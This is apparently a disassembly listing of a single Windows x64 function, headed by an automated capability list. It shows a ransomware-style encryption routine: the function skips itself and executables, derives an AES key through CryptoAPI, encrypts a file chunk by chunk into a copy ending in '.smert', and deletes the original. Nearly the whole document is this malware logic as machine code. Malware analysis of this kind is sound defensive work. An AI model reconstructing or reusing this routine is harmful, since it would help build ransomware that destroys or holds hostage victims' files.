Function at 0x1400011f0
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
push rbp
push rsi
push r14
push r15
lea rbp, [rsp - 0x20198]
mov eax, 0x20298
call fcn.1400032e0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x20180], rax
mov r15, r8
mov r14, rdx
mov rsi, rcx
lea rdx, [rbp + 0x60]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str..exe
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001492
lea rdx, [rbp + 0x60]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001492
lea rdx, [0x1400064f4]
mov qword [rsp + 0x202d8], rbx
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x14000148a
mov r9, rsi
mov qword [rsp + 0x20290], rdi
lea r8, str._s.smert
mov edx, pe_nt_image_headers64
lea rcx, [rsp + 0x60]
call fcn.140001120
lea rdx, [0x1400064e0]
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x1400012d3
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140001482
xor eax, eax
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x50], rax
xor edx, edx
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1400014c7
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400014ba
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov r8d, 0x20
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x14000135d
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x1400014ba
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov rcx, qword [rsp + 0x48]
test eax, eax
je 0x140001352
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
mov r8, r15
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x1400014af
mov r9, rbx
lea rcx, [rbp + 0x170]
mov edx, 1
mov r8d, 0x10000
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test eax, eax
je 0x14000144f
nop
mov rcx, rbx
mov dword [rsp + 0x58], eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x30], 0x10010
mov qword [rsp + 0x28], rcx
xor r9d, r9d
lea rcx, [rbp + 0x10170]
mov r8d, eax
mov qword [rsp + 0x20], rcx
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400014af
mov r8d, dword [rsp + 0x58]
lea rcx, [rbp + 0x10170]
mov r9, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, rbx
lea rcx, [rbp + 0x170]
mov edx, 1
mov r8d, 0x10000
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test eax, eax
jne 0x1400013d0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdi, qword [rsp + 0x20290]
mov rbx, qword [rsp + 0x202d8]
mov rcx, qword [rbp + 0x20180]
xor rcx, rsp
call fcn.1400024e0
add rsp, 0x20298
pop r15
pop r14
pop rsi
pop rbp
ret
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x140001482